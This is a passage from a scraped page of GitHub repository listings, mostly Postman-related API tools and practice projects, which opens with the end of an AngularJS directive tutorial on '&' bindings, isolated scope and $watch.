along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. | 0 stars | 0 watchers | 14 forks |
|
Inn4ki/chatapp admin, application, applications, auth, chat, completed, computer, course, debug, debugging, design, designed, engine, file, files, form, format, included, including, lang, language, learn, learned, learning, lesson, logging, middleware, parameter, passing, passport, program, programming, protecting, quality, query, rating, route, router, routes, sets, speed, sync, training, tutorial, user, users, validation, video, web app |
NODE.JS WEB APPS WITH EXPRESS by Wes Higbee In this Node.js Web Apps with Express training course, expert author Wes Higbee will teach you how to create web applications and APIs with Express. This course is designed for users that are already familiar with HTML, CSS, and JavaScript. You will start by learning how to set up a web app, then jump into learning about the Jade view engine. From there, Wes will teach you about CRUD, including how to add the chat room view, respond with JSON, and edit chat rooms. This video tutorial also covers routers, middleware, APIs, and logging and debugging. Finally, you will learn about auth with passport, including passport user validation, protecting admin routes, and query string parameters. Once you have completed this computer based training course, you will have learned how to create web applications and APIs with Express. Working files are included, allowing you to follow along with the author throughout the lessons. About the Publisher Presented in stunning HD quality, the Infinite Skills range of video based training provides a clear and concise way to learn computer applications and programming languages at your own speed. Delivered to your Desktop, iPad ... More about Infinite Skills Table of Contents Setting Up A Web App What You Will Learn 00:03:28 About The Author 00:01:23 Project Setup 00:02:14 Spinning Up Our Server From Scratch 00:05:11 Serving Index.HTML 00:04:32 Serving Bootstrap Assets 00:05:52 Styling Our Site 00:01:16 How To Access Your Working Files 00:01:15 The Jade View Engine Why View Engines? 00:02:10 The Jade View Engine 00:06:32 HTML Tags In Jade 00:02:16 Attributes Classes And Ids In Jade 00:02:06 Serving Up Jade Views 00:04:24 HTML Reuse In Jade 00:06:26 Code In Jade Views 00:02:37 Passing Data To View Rendering 00:02:01 Setting A Default View Engine 00:00:37 String Interpolation In Jade 00:02:30 Generating Tables In Jade 00:03:50 Tabs And Spaces Oh My 00:01:21 Demystifying Jade 00:02:21 Crud Setting The Stage 00:01:01 Add Chat Room View 00:04:21 Post Chat Room Form 00:06:56 Parsing Form Data From The Request Body 00:04:22 Responding With JSON 00:03:20 Admin Chat Rooms Workflow 00:02:21 Named Route Parameters To Delete Rooms 00:05:59 Edit Chat Rooms 00:06:01 Edit Chat Rooms Part - 2 00:02:00 Responding With 404 Not Found 00:01:39 Wrap Up 00:01:23 Routers Extracting An Admin Module 00:04:47 Modular Admin Router 00:04:00 Pluggable Admin Mount Path 00:03:15 Stumbling Block - Relative Redirects 00:02:49 Chaining Routes 00:01:57 Middleware Understanding Routing And Middleware 00:05:45 Adding Custom Logging Middleware 00:02:15 Understanding Next() 00:01:31 Middleware To Fetch Data 00:07:24 Order Matters.Av 00:01:09 Scoping Middleware 00:03:53 What To Do With Errors 00:03:01 Last Thoughts 00:03:19 APIs A Client Side Chat App 00:01:55 Setup The Client Side Chat App 00:03:01 Creating An API 00:05:42 Modules Are Singletons 00:01:50 Postman To Test API 00:01:24 API Get Room Messages 00:05:49 Posting To An API 00:03:37 API To Delete Messages 00:03:15 Parsing JSON In The Request Body 00:03:25 Logging And Debugging Express-Debug 00:03:03 Logging With Morgan 00:01:45 File Access Log With Morgan 00:01:28 Built-In Express Debugging 00:01:57 When Things Go Wrong Throwing An Error In A Route Handler 00:01:39 Errors In Production 00:01:53 Custom Error Handlers 00:02:40 Browser Hangs 00:00:58 Hanging Async Request Handlers 00:01:17 Errors In Callbacks 00:03:32 Don't Swallow Callback Errors 00:02:46 Auth With Passport Auth With Passport 00:01:49 Login Form 00:06:31 Passport User Validation 00:05:20 Passport Session Serialization 00:01:49 Logging In 00:06:23 Logout 00:03:52 Authorizing Access To Block Anonymous Users 00:03:40 Protecting Admin Routes 00:02:04 Using User Information 00:02:48 Bypassing Login In Development 00:03:11 Query String Parameters 00:02:34 Auth Cookies 00:02:17 Last Thoughts 00:05:45 Publisher: Infinite Skills Release Date: March 2016 ISBN: 9781491958933 Running time: 4:09:49 Topic: Node.js | 4 stars | 4 watchers | 5 forks |
|
longforus/api-debugger debug, debugger, support |
🔨A like Postman API debugger that supports custom encryption. 一个类似Postman的支持自定义加密传输的后台API接口调试工具. | 0 stars | 0 watchers | 12 forks |
|
skarl-api/skarl-api debug, perfect, swagger |
API Document view and debug, perfect combination of swagger | 3 stars | 3 watchers | 0 forks |
|
marcandreappel/xdebug-devilbox-phpstorm-postman communicate, debug |
How to make XDebug work with a Devilbox and communicate with PhpStorm through Postman ? Check this tutoriel, maybe it helps | 1 stars | 1 watchers | 2 forks |
|
xijiz/postman debug, http, interface, method, remote |
remote interface debuger for http method(post, get) | 0 stars | 0 watchers | 1 forks |
|
dfoderick/postman-insight-api coins, debug, insight |
Test and debug insight APIs for various coins using Postman: BSV, BCH, BTC, DASH, LTC | 0 stars | 0 watchers | 0 forks |
|
fe3dback/web-debug-tools api blueprint, application, asyncapi, debug, form, format, information, json schema, logs, oauth, openid, route, routes, sql, symfony, tool, tools |
WIP! - GUI application, "Postman" + "symfony debug toolbar", allow to develop api with additional response information (sql, logs, routes, acl, etc..) | 0 stars | 0 watchers | 0 forks |
|
IbrahimMSabek/mfpAdapterTester active, auth, authentication, data, debug, debugging, docs, secure, secured, spec, test, web app |
This will be a web app that will act like Postman which aim to test secured IBM Mobilefirst 8 adapters with custom authentication specially that save and use data within active session as Postman basic authentication debugging detailed in MFP docs won't fit | 0 stars | 0 watchers | 0 forks |
|
Oculogx/Node-REST-API debug, support, supported |
REST-API supported by Node.js and debugged with Postman | 0 stars | 0 watchers | 0 forks |
|
peterbozso/directline-postman collection, debug, debugging, enviroment |
Postman collection and enviroment for debugging bots through the Direct Line API 3.0 | 0 stars | 0 watchers | 0 forks |
|
tomalex0/request-promise-postman debug, json |
Generate postman json from request-debug | 0 stars | 0 watchers | 0 forks |
|
yann-yvan/CodeHttp android, communication, debug, define, light, server, struct, structure, tool, tools |
A light way to make communication between android and server using a predefine structure server response with a debug tools like postman | 0 stars | 0 watchers | 0 forks |
|
postmanlabs/schemas schema, schemas, struct, structure |
Repository of all schemas for JSON structures compatible with Postman (such as the Postman Collection Format) | 23 stars | 23 watchers | 20 forks |
|
jenius-apps/Postman.NET apps, collection, implementation, official, schema, unofficial |
An unofficial .NET implementation of the Postman collection schema | 1 stars | 1 watchers | 1 forks |
|
donalfenwick/Swashbuckle.SwaggerToPostman collection, generate, generated, library, middleware, postman collection, schema, swagger |
AspNetCore middleware which uses the Swashbuckle.AspNetCore library produce a postman collection (v2.1) from the swagger schema generated by swashbuckle. | 1 stars | 1 watchers | 0 forks |
|
smmcgrath/MyFirstApp access, accessed, application, auth, authentication, backend, case, client, comments, communicate, data, database, databases, design, designed, development, environment, example, form, framework, function, hashi, host, hosted, includes, including, mean, mini, minimal, move, moved, network, object, objects, program, protecting, remote, rest, restrict, retrieve, schema, schemas, server, site, source, style, terminal, test, tested, token, tokens, transform, transforming, updated, web app |
Built in Node.js open source server framework. In this project I moved from client-side development (using JavaScript, HTML, and CSS) to building a server-side web application using the Express.js web framework hosted in Node.js runtime environment. The site includes a flatty style landing page including navigatation bar, sign-up forms, staff info etc. It has an uncluttered and minimal UI. The backend API’s communicated with databases designed using MongoDB, an example of a NoSQL database program using JSON-like objects with schemas. All APIs, including GET, PUT, UPDATE and DELETE were tested using Postman. Great experience using PuTTY open-source terminal emulator, working remotely over SSH network protocol. Securing my API with authentication; hashing passwords using Bcrypt and issuing tokens with JSON Web Token (JWT). New additions help to restrict access and ensure tokens are verified. Previous to this the back-end APIs could be easily accessed via the URL. User comments coudl be retrieved, new ones saved, deleted or updated. Hashing is a means of transforming a string of characters (passwords, in my case) into a different and larger set of characters, thus protecting our sensitive data. Bcrypt is the password hashing function used. | 1 stars | 1 watchers | 0 forks |
|
swiftinc/gpi-connector-backoffice-simulator collection, demonstrating, integrating, office, postman collection, principles, rating, schema, swift, validation |
This is a postman collection for integrating with Tracker APIs and Pre-Validation API demonstrating the principles of TLS, LAU and JSON schema validation. | 0 stars | 0 watchers | 2 forks |
|
AlexNDRmac/postman_asserts api blueprint, assert, asyncapi, json, json schema, oauth, openid, postman tests, reusable, schema, script, scripts, sql, test, tests, usable, validation |
Tiny scripts for Postman Auto tests (reusable Assertions for postman tests and json schema validation) | 0 stars | 0 watchers | 1 forks |
|
shaishab/sequelize-express-example application, example, express, generation, schema, sequelize |
An example for the usage of Sequelize within an Express.js application with schema generation from existing table | 0 stars | 0 watchers | 1 forks |
|
ambuyo/nodejs-mongo-authentication auth, authentication, data, mongo, mongod, mongodb, node, nodejs, schema, validating |
validating mongodb data schema using nodejs and postman | 0 stars | 0 watchers | 0 forks |
|
Dipskarki/REST-API-Practice implementation, model, models, route, routes, schema |
REST API using models, schema and routes with implementation in postman | 0 stars | 0 watchers | 0 forks |
|
dushyantchillale/postman-mock-schema mock, schema |
Postman Mock Schema | 0 stars | 0 watchers | 0 forks |
|
nhc/ecomm-api-tests endpoint, endpoints, schema, test, tests |
Postman tests and schema's for API endpoints | 0 stars | 0 watchers | 0 forks |
|
omaracrystal/CRUD_5 data, database, define, route, schema, struct, structure |
Setting up CRUD app with Express, MongoDB, Mongoose, define schema, set up RESTful route structure, update each route to connect to the database and return JSON. Test with cURL, HTTPie, or Postman | 0 stars | 0 watchers | 0 forks |
|
rodrigo-contentful/apis-schemas content, schema, schemas |
CDA, CMA JSON schemas for Postman, Insomina and more to come | 0 stars | 0 watchers | 0 forks |
|
flickerbox/hubb-api-collection collection, environment, integrate, variable, variables |
Postman collection and environment variables to integrate with the API at hubb.me | 4 stars | 4 watchers | 0 forks |
|
AnjolaA/newman-wrapper config, environment, inject, newman, variable, variables, wrapper |
A wrapper to inject config values postman environment variables | 2 stars | 2 watchers | 0 forks |
|
guvkon/grunt-postman-variables file, files, place, variable, variables |
Replace Postman variables in JS files from globals.postman_globals | 1 stars | 1 watchers | 0 forks |
|
d1820/PostmanVariablesSample variable, variables |
Example of how to use GitHub to manage Postman variables | 1 stars | 1 watchers | 0 forks |
|
foonster/postman file, form, format, gateway, generic, mail, operation, operationa, options, parse, parses, process, result, script, send, sends, spec, user, users, variable, variables |
Postman is a generic PHP processing script to the e-mail gateway that parses the results of any form and sends them to the specified users. This script has many formatting and operational options, most of which can be specified within a variable file "_variables.php" each form. | 1 stars | 1 watchers | 0 forks |
|
buulam/bootstrap-bigip-via-iworkflow bigip, boot, collection, config, configuration, environment, progress, variable, variables, workflow |
Work in progress - Postman collection with environment variables for bootstrapping a new BIG-IP with blank configuration via iWorkflow | 0 stars | 0 watchers | 0 forks |
|
id-den/postman-bdd-variables description, script, variable, variables |
No description available. | 0 stars | 0 watchers | 0 forks |
|
ck19955/Postman-model houses, mail, model, variable, variables |
The aim of this project is create a model for a postman delivering mail to some houses. There will be different variables to see how the time it takes the postman to deliver post changes. | 0 stars | 0 watchers | 0 forks |
|
evelynda1985/muleSetVariableApp console, expect, list, listen, method, send, studio, variable, variables |
Mulesoft 4, anypoint studio, HTPP listener, 2 set variables. payload, logger. Tested using Postman, POST method sending in the body a JSON. Result expected in Postman and in the console log. | 0 stars | 0 watchers | 0 forks |
|
FIWAREZone/Postman variable, variables |
Colección de peticiones y variables de entorno | 0 stars | 0 watchers | 0 forks |
|
jwhorley/postman-iterate-data-collections collection, collections, data, guide, setting, variable, variables |
A "how to" guide for setting up Postman Collection Runner w/ variables | 0 stars | 0 watchers | 0 forks |
|
neomarmedina/prueba_meta api blueprint, asyncapi, auth, docs, form, format, github, gitlab, http, https, json schema, laravel, list, meta, model, oauth, openid, resource, resources, servicio, source, sql, validation, variable, variables |
Prueba de la empresa MetaData : Crear un proyecto público en git (gitlab, github...) y compartirnos la url. Crear un proyecto API/Rest en Laravel 6 con los sig requerimientos: - PHP 7.3. - Base de datos Mysql 5 utf8mb4_unicode_ci llamada "prueba_meta". Crear Servicio tipo POST que registre un modelo "Author" con el atributo "name" Crear Servicio tipo POST que registre un modelo "Book" con los atributos "publish_date", "title", "author_id" Crear un servicio tipo GET que retorne un listado de los "Book" y sus autores. Crear las migraciones correspondientes para ambos modelos. (https://laravel.com/docs/6.x/migrations) Los servicios deben devolver sus respuestas en formato JSON y tener validaciones para sus atributos usando "Validator" (https://laravel.com/docs/6.x/validation) e implementar "Eloquent: API Resources" (https://laravel.com/docs/6.x/eloquent-resources). Los servicios serán probados en Postman después de levantar el servidor (php artisan serve) y colocadas las variables de entorno en el archivo .env | 0 stars | 0 watchers | 0 forks |
|
nobitagit/postman-tester environment, environments, test, tester, variable, variables |
Repo to test Postman environments and variables | 0 stars | 0 watchers | 0 forks |
|
vdespa/postman-advanced-workflow-example advance, advanced, description, example, script, workflow |
No description available. | 1 stars | 1 watchers | 1 forks |
|
0xHiteshPatel/f5-postman-workflows common, complex, extension, function, functions, intended, workflow |
This extension is intended to be used with Postman. The purpose of this extension is to implement common functions that simplify building Collections that implement complex workflows | 0 stars | 0 watchers | 3 forks |
|
buulam/bootstrap-bigip-via-iworkflow bigip, boot, collection, config, configuration, environment, progress, variable, variables, workflow |
Work in progress - Postman collection with environment variables for bootstrapping a new BIG-IP with blank configuration via iWorkflow | 0 stars | 0 watchers | 0 forks |
|
SalahEddine007/mern_devconnector action, application, backend, bank, basics, component, components, container, course, editor, elegant, endpoint, endpoints, extension, frontend, includes, integrate, mern, network, rating, resource, resources, route, routes, script, social, source, stat, test, testing, workflow |
Welcome to "MERN Stack Front To Back". In this course we will build an in depth full stack social network application using Node.js, Express, React, Redux and MongoDB along with ES6+. We will start with a bank text editor and end with a deployed full stack application. This course includes... Building an extensive backend API with Node.js & Express Protecting routes/endpoints with JWT (JSON Web Tokens) Extensive API testing with Postman Integrating React with our backend in an elegant way, creating a great workflow Building our frontend to work with the API Using Redux for app state management Creating reducers and actions for our resources Creating many container components that integrate with Redux Testing with the Redux Chrome extension Creating a build script, securing our keys and deploy to Heroku using Git This is NOT an "Intro to React" or "Intro to Node" course. It is a practical hands on course for building an app using the incredible MERN stack. I do try and explain everything as I go so it is possible to follow without React/Node experience but it is recommended that you know at least the basics first. | 0 stars | 0 watchers | 0 forks |
|
guys1444/node.js-socialNetwork action, backend, component, components, container, elegant, endpoint, endpoints, extension, frontend, integrate, node, rating, resource, resources, route, routes, social, source, stat, test, testing, workflow |
socialNetwork that ive made in node.js Building an extensive backend API with Node.js & Express Protecting routes/endpoints with JWT (JSON Web Tokens) Extensive API testing with Postman Integrating React with our backend in an elegant way, creating a great workflow Building our frontend to work with the API Using Redux for app state management Creating reducers and actions for our resources Creating many container components that integrate with Redux Testing with the Redux Chrome extension ,MERN STACK | 0 stars | 0 watchers | 0 forks |
|
anuragashok/postman-multiple-workflows collection, multiple, postman collection, workaround, workflow |
A workaround to have multiple simple workflows in a postman collection | 0 stars | 0 watchers | 0 forks |
|
bobend212/WebAPI-Project-Designer learn, struct, structure, workflow |
API created to learn and become familiar with .Net Core API structure and Swagger/Postman workflow. | 0 stars | 0 watchers | 0 forks |
|
foxy-the-web/postman-workflows collection, runs, workflow |
Scripts to control collection runs in postman. | 0 stars | 0 watchers | 0 forks |
|
Luke984/PostmanSetUpCollectionWorkFlow boiler, boilerplate, collection, workflow |
A boilerplate for manage workflow in a collection of Postman | 0 stars | 0 watchers | 0 forks |
|
nikoheikkila/newman-example development, example, newman, test, workflow |
Simple test project to demo TDD workflow in API development with Postman. | 0 stars | 0 watchers | 0 forks |
|
NoorKanana/API-workflows-with-Trello method, workflow |
with using method postman.setNextRequest() create a simple workflows in Trello | 0 stars | 0 watchers | 0 forks |
|
npearce/iclx_postman_workflows collection, collections, extension, extensions, workflow |
Calling POSTMAN collections from iControlLX extensions | 0 stars | 0 watchers | 0 forks |
|
0xHiteshPatel/f5-postman-workflows common, complex, extension, function, functions, intended, workflow |
This extension is intended to be used with Postman. The purpose of this extension is to implement common functions that simplify building Collections that implement complex workflows | 0 stars | 0 watchers | 3 forks |
|
guvkon/postman_helper function, functions, helper, test |
Tool which adds some helpful functions to test JSON responses in Postman/Newman. | 1 stars | 1 watchers | 0 forks |
|
tarunlalwani/postman-utils function, functions, util, utilities, utils |
Postman utilities functions | 0 stars | 0 watchers | 2 forks |
|
ddemott/spring-restful-web-services-crud-example crud, example, function, functions, html, index, java, projects, rest, restful, service, services, spring, test, tested, to do |
DESCRIPTION: This project represents a base Spring 4 legacy project for Spring MVC / REST services. The REST services are handled / tested by index.html. This is done so you can see an example of how to call all of the CRUD functions from a web page. Most projects do not make the calls from a web page but from POSTMAN or even from a test function which does you no good if you are trying to figure out how to do call from a webpage. Dependencies ------------ Maven 3.1 Java 8 Spring 4 Spring MVC 4 Jackson Databind javax.servlet-api 3.1 | 0 stars | 0 watchers | 1 forks |
|
Pal0720/Dec-api application, data, database, details, endpoint, example, following, form, framework, function, functions, implementation, implementations, list, memory, multiple, names, product, products, retrieve, script, security, send, service, single, spec, store, stores, updated |
Build a RESTful API/MICROSERVICE with the following implementations : The API/Microservice must perform these basic CRUD Operations : - Accepts a request to add a new entry into the database. - Accepts a request to update an existing entry into the database. - Accepts a request to retrieve all the existing entries from the database. - Accepts a request to retrieve a single entry with respect to a particular field (ID, Name, etc.. ) from the database. a. Products : Products Table Schema : Decathlon_Products ProductID | ProductName | ProductSport | ProductLevel | ProductDescription | AssociatedStores | b. Stores : DB Table Schema : Decathlon_Stores StoreID | StoreName | StoreCity | Note : 1. 'AssociatedStores' is the field to capture the StoreIDs in which the product is available. It can be multiple stores. 2. Both Products and Stores API can be called separately and together to perform the above mentioned functions. For Ex: Expose one endpoint (for example: /stores/{store_id}/products/{product_id} ) to retrieve the details of the product associated to a store. Expose one endpoint ( /stores/store_id/products ) to list all the products available in that particular store. 3. IDs and names cannot be updated. 4. You can use Spring Boot(Java) or Django Framework (with Python) or any framework you are comfortable with to build the application with Maven. 5. You can use an in-memory database : H2/Apache Derby. 6. You can use Postman as the REST Client to send requests. Security : Implement a Basic Authorization security mechanism, which is validated on all requests. | 0 stars | 0 watchers | 1 forks |
|
Bikachu/MongoDB-REST-API-design desgin, design, function, functions, test |
This project use MongoDB and REST api to desgin a simple API to implement GET, POST, PUT and DELETE functions, use POSTMAN to test the functions | 0 stars | 0 watchers | 0 forks |
|
castrosoft/GameOfTheYear function, functions, rest, store |
Nodejs - Visual Studio Code - Chrome - AngularCLI - Postman - Firestore - Firebase functions - Deployment | 0 stars | 0 watchers | 0 forks |
|
jinfanx/fx-dev-tools client, function, functions, http, tool, tools |
simple http client, like postman, but only main functions | 0 stars | 0 watchers | 0 forks |
|
kogden/serverless-mongo-database data, database, function, functions, lambda, mongo, monitor, movie, server, serverless, trigger |
Uses AWS lambda trigger to POST/GET from mongoDB movie database. Uses Dashbird.io to monitor. Postman to call functions. | 0 stars | 0 watchers | 0 forks |
|
namjohn920/CRUD_NodeJs_MySQL application, check, function, functions |
Simple practice for CRUD application using NodeJs and MySQL. You can use Postman to check functions. | 0 stars | 0 watchers | 0 forks |
|
sweb1433/serverless-api-monk function, functions, lambda, node, nodejs, server, serverless |
CRUD api using nodejs, serverless, lambda functions and postman and monk. | 0 stars | 0 watchers | 0 forks |
|
jonatassales/postman-ui email, mail, messaging, service |
UI for a email and messaging service | 1 stars | 1 watchers | 0 forks |
|
leungant/django-useraccounts-messaging-starter account, accounts, auth, django, followed, message, messages, messaging, notification, starter, user |
Project with Login with all auth, followed by messages and notification with postman and django-notifications-hq, can be used a starter app | 1 stars | 1 watchers | 0 forks |
|
sharkattack51/postman messaging, server, websocket |
easy pub/sub messaging server using websocket. | 1 stars | 1 watchers | 0 forks |
|
wannaup/postman-go lang, mail, messaging, microservice, preferred, relay, service, threaded, version |
The Golang version of our preferred postman mail to threaded messaging relay microservice in Go. | 1 stars | 1 watchers | 0 forks |
|
lueo/pinax_postman_demo messaging, pinax, site |
Pinax with User-to-User messaging (provided by Django-postman) - Demo site | 0 stars | 0 watchers | 1 forks |
|
guusbeckett/cm-business-messaging-api-postman-collection business, collection, description, messaging, script |
No description available. | 0 stars | 0 watchers | 0 forks |
|
aboelkassem/ChattingApp angular, api blueprint, asyncapi, json schema, messaging, oauth, openid, sql, system |
real world messaging system build using asp.net core 3.1 api & angular 9 & sqllite | 0 stars | 0 watchers | 0 forks |
|
kumar-kunal/Postman android, messaging |
A simple messaging android app | 0 stars | 0 watchers | 0 forks |
|
peteclarkez/redis-pubsubtest config, experiment, messaging, pubsub, redis, test |
Sample project to experiment on some redis messaging config | 0 stars | 0 watchers | 0 forks |
|
wannaup/postman mail, messaging, microservice, service, threaded |
A mail to threaded messaging microservice in Go and SCALA | 0 stars | 0 watchers | 0 forks |
|
wechange-eg/cosinnus-message deprecated, django, implementation, integration, message, messaging, package, solution |
A direct messenging implementation for the WECHANGE suite. Based on django-postman. This package is being deprecated in favor of a direct-messaging solution using RocketChat integration. | 0 stars | 0 watchers | 0 forks |
|
kielabokkie/blueman collection, file, generate, generated, print |
Convert a generated API Blueprint JSON file into a Postman collection | 143 stars | 143 watchers | 18 forks |
|
jarroda/ServiceStack.Api.Postman collection, collections, generate, generated, plugin |
A ServiceStack plugin providing auto-generated Postman collections | 0 stars | 0 watchers | 4 forks |
|
rminds/postman-docs docs, generate, generated, template |
Documentation template generated from Postman | 1 stars | 1 watchers | 2 forks |
|
donalfenwick/Swashbuckle.SwaggerToPostman collection, generate, generated, library, middleware, postman collection, schema, swagger |
AspNetCore middleware which uses the Swashbuckle.AspNetCore library produce a postman collection (v2.1) from the swagger schema generated by swashbuckle. | 1 stars | 1 watchers | 0 forks |
|
Odusanya18/postman-to-slate-examples docs, example, examples, generate, generated, generator, holds, java, slate |
This holds example docs generated by the postman to slate generator written in java | 1 stars | 1 watchers | 0 forks |
|
thneeb/swagger2postman collection, file, generate, generated, json, node, nodejs, postman collection, spec, swagger, swagger2, test, testing, tool |
This little nodejs tool gets a swagger.json on the one hand and generated a postman collection file for testing the specified api on the other hand. | 0 stars | 0 watchers | 0 forks |
|
andreprawira/Simple-REST-API-using-Spring-Boot-Hibernate-and-MySQL-Database application, data, database, employee, employees, forge, generate, generated, list, method, properties, resource, resources, single, source, spec |
It's a very simple REST API for employee management using Spring Boot, Hibernate, and MySQL. Test it with Postman: Use GET method to list all of the employees or a single employee specified by ID Use POST method to save an employee (ID auto generated) or use a PUT method to update if employee ID already exist (specify the employee ID in the url to update) Use DELETE method to delete an employee (specify the employee ID in the url to delete) Dont forget to change the application.properties to connect the database with the app (located in src/main/resources/application.properties) | 0 stars | 0 watchers | 0 forks |
|
ckailash/myob-php-oauth2 api blueprint, asyncapi, auth, collection, generate, generated, json schema, myob, oauth, oauth2, openid, postman collection, sql |
Myob PHP SDK for oAuth 2 generated from Myob API OpenAPI Spec 3.0 generated from the postman collection | 0 stars | 0 watchers | 0 forks |
|
hnalabanda/HN82twy generate, generated |
This was generated by Postman | 0 stars | 0 watchers | 0 forks |
|
mahiakshay/Hello-World generate, generated |
This is your first repository generated via POSTMAN GitHub API | 0 stars | 0 watchers | 0 forks |
|
potherca-abandoned/PostmanParser document, documentation, generate, generated, longer, maintained, object, struct, structure |
⚠️ This project in no longer maintained. ⚠️ -- Parse POSTman Collection JSON into an object structure so documentation can be generated from it. | 0 stars | 0 watchers | 0 forks |
|
liyasthomas/postwoman alternative, builder, free, http, https, native, postwoman |
👽 A free, fast and beautiful API request builder (web alternative to Postman) https://postwoman.io | 18028 stars | 18028 watchers | 1105 forks |
|
yojji-io/metaman alternative, builder, included, meta, native, workspace |
Postman alternative request builder (workspaces included) | 2 stars | 2 watchers | 1 forks |
|
fazulk/postman_builder automat, automatic, automatically, builder, express, route, routes |
Generate postman routes automatically based upon express or koa routes | 1 stars | 1 watchers | 0 forks |
|
payhubbuilder/payhub-postman_tests builder, collection, collections, payhub, test, tests |
Various Postman test collections for PayHub APIs. | 0 stars | 0 watchers | 1 forks |
|
benvandenberg/builder-newman builder, form, newman, platform |
A Builder Image used in the Jenkins X platform to run Postman Collections with Newman | 0 stars | 0 watchers | 0 forks |
|
davepile/postman-collection-builder builder, collection, collections |
Build Postman collections from JS | 0 stars | 0 watchers | 0 forks |
|
imjonathanking/knex_testing builder, express, knex, query, test, tested, testing |
I am testing out building an express API using Knex as a SQL query builder/ ORM. Routes will be tested in Postman. | 0 stars | 0 watchers | 0 forks |
|
LondonComputadores/gostack-node-express-api-crud builder, crud, express, node, test, tester, testing |
First part of GoStack Course from Rocketseat where we built a Nodejs + Expressjs API CRUD for testing with Insomnia API builder/tester like Postman. | 0 stars | 0 watchers | 0 forks |
|
api-evangelist/salesforce-api-collection-builder builder, collection, dynamic, dynamically, list, salesforce |
This is a Postman collection for dynamically building a Postman collection. | 0 stars | 0 watchers | 0 forks |
|
mathcoder23/apibuilder builder, free, freemarker, java |
基于postman和freemarker 生成多语言的js java api接口库 | 0 stars | 0 watchers | 0 forks |
|
jongio/azure-sas-tokens-postman azure, description, script, token, tokens |
No description available. | 14 stars | 14 watchers | 6 forks |
|
api-evangelist/environments environment, environments, generating, list, rating, token, tokens |
This is a project for generating tokens and Postman environments. | 1 stars | 1 watchers | 0 forks |
|
kpraneeth3456/JWT-Authentication account, application, client, data, database, dependencies, download, email, error, exchange, header, index, install, link, mail, match, matched, message, node, party, register, rest, running, script, security, send, sends, server, to do, token, tokens, user |
Project Title: JWT Authentication Description: This project is a basic Authorization and Authentication which exchanges JSON web tokens between the client and the server for more security. Execution: -Clone or download the repo from the GitHub link -npm install (to download the dependencies) -node index.js (To get the application running) Working: -User has to enter his email and password to register his account.(Use any third-party rest-client like Postman on port 3000) -If the email already exists in the database it sends an error message and if the email does not exist it saves to the database. -If the user is signed up then he can go ahead and Sign-in with same username and password. -If the credentials are matched then a JSON web token will be sent to the client in the header. -If the username and password do not match then it sends back an error message. | 1 stars | 1 watchers | 0 forks |
|
lauradelpino24/SpotiApp angular, generar, spotify, token, tokens |
App que usa angular y la api de spotify. Los tokens son necesario regenerarlos cada hora (para ello uso Postman). | 1 stars | 1 watchers | 0 forks |
|
shelleypham/GE-Current-Hackathon-API-Tutorial access, details, document, documentation, environment, hackathon, resource, resources, retrieve, source, token, tokens |
This documentation provides more details on how to set up the hackathon environment on Postman, retrieve Intelligent Cities and Intelligent Enterprises access tokens, and how to use those access token to retrieve resources | 1 stars | 1 watchers | 0 forks |
|
